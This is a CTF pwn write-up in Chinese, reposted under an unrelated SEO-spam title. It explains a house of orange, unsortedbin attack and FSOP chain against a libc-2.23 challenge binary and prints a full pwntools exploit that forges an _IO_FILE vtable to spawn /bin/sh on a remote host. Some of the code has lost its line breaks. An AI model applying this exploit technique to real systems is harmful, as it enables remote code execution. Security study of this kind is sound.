当前位置: 首页 > news >正文

网站内容采编怎么做广州推广工具

网站内容采编怎么做,广州推广工具,网站做百科,文具网站建设策划书很经典的house of orange unsortedbin attack FSOP 变量覆盖 不能 free,那首先想到就是 house of orange泄露Libc基址,然后unsortedbin attack。 但是只能show(8),就不能用largebin的套路来泄露堆地址了,那怎么办呢? …

很经典的house of orange + unsortedbin attack +FSOP+ 变量覆盖

不能 free,那首先想到就是 house of orange泄露Libc基址,然后unsortedbin attack。

 

但是只能show(8),就不能用largebin的套路来泄露堆地址了,那怎么办呢?

 

我们注意到这是>,但下标一般是从0开始,所以可能会有变量覆盖,我们看看。

 

果然,第33个chunk的size会覆盖第0个chunk地址的最后一字节,所以我们只需要调试一下,就可以通过show(0)泄露堆地址,其他没什么难度,以下是wp:

from pwn import *
context.arch='amd64'
#io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
#libc=elf.libc
io=remote('110.40.35.73',33774)def debug():gdb.attach(io)pause()def inter():io.interactive()def add(size,content):io.recvuntil(b">\n")io.sendline(b'1')io.recvuntil(b"Size :\n")io.sendline(str(size).encode())io.recvuntil(b"Content :\n")io.send(content)def edit(idx,size,content):io.recvuntil(b">\n")io.sendline(b'2')io.recvuntil(b"Index :\n")io.sendline(str(idx).encode())io.recvuntil(b"Size :\n")io.sendline(str(size).encode())io.recvuntil(b"Content :\n")io.send(content)def show(idx):io.recvuntil(b">\n")io.sendline(b'3')io.recvuntil(b"Index :\n")io.sendline(str(idx).encode())def delete():io.recvuntil(b"please input:\n")io.sendline(b'2')add(0x30,b'aa')#0
#debug()
edit(0,0x40,b'a'*0x38+p64(0xfc1))
add(0x1000,b'aa')#1
#debug()
add(0x10,b'\x78')#2
show(2)
libc_base=u64(io.recv(8))-0x3c4178
print('libc_base:',hex(libc_base))
#debug()
for i in range(29):add(0x1000,b'aa')
add(0x80,b'\x60')#32
#debug()
show(0)
heap=u64(io.recv(8))-0x60
chunk=heap+0xf0
print('heap:',hex(heap))
system=libc_base+libc.sym['system']
pl=b'a'*(0x10+0x90)
#debug()
vtable=chunk+0xe0
print('vtable:',hex(vtable))
iolist=libc_base+libc.sym['_IO_list_all']
payload=b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(iolist-0x10)
payload+=p64(0)+p64(1)
payload=payload.ljust(0xd8,b'\x00')
payload+=p64(vtable)
payload+=p64(0)*3+p64(system)
print(len(payload))
edit(2,0x300,pl+payload)
#debug()
io.recvuntil(b">\n")
io.sendline(b'0'*0x400+b'1')
io.interactive()

 

http://www.khdw.cn/news/39655.html

相关文章:

  • 网站建设 目的互联网seo是什么
  • 武汉seo结算seo免费优化工具
  • 网站服务器的采购方案惠州抖音seo
  • 珠海网站百度网址大全旧版
  • 做网站用微软雅黑引擎搜索是什么意思
  • 公司建设网站成果预测友情链接交换形式有哪些
  • 大连网站建设 领超最好查询网138网站域名
  • php做网站为什么比java快seo优化运营
  • 提供网站建设工具的品牌百度seo公司
  • 商城建站服务品牌推广和品牌营销
  • 优秀网站要素北京全网营销推广
  • 江西网站设计哪家靠谱steam交易链接怎么用
  • 宣威网站建设泉州关键词快速排名
  • 自己如何做电影网站怎么建网站详细步骤
  • 境外网站开发市场营销策略有哪4种
  • 网站站建设建设中页中页软件外包公司排行榜
  • 运城网站建设多少钱策划方案网站
  • web应用程序和网站的区别网络推广培训班
  • 做招聘网站需要人力资源许可网络黄页推广大全
  • 洛阳网站建设网站建设竞价排名深度解析
  • wordpress无法编辑文章中国seo排行榜
  • 网站后台有些不显示天津关键词排名推广
  • 通用网站建设需求分析seo的定义是什么
  • 南阳网站推广费用上海优化公司选哪个
  • 建站之星快速建站价格域名邮箱 400电话
  • 网站怎么做才有收录google搜索引擎入口网址
  • 视频网站开发计划书营销推广的主要方法
  • ssm可以做哪些网站重庆关键词seo排名
  • ps做产品的网站百度关键词屏蔽
  • 免费做网站tk网络推广的途径有哪些